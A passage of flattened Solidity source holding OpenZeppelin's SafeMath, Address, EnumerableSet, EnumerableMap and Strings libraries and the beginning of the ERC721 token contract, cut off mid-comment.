library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} 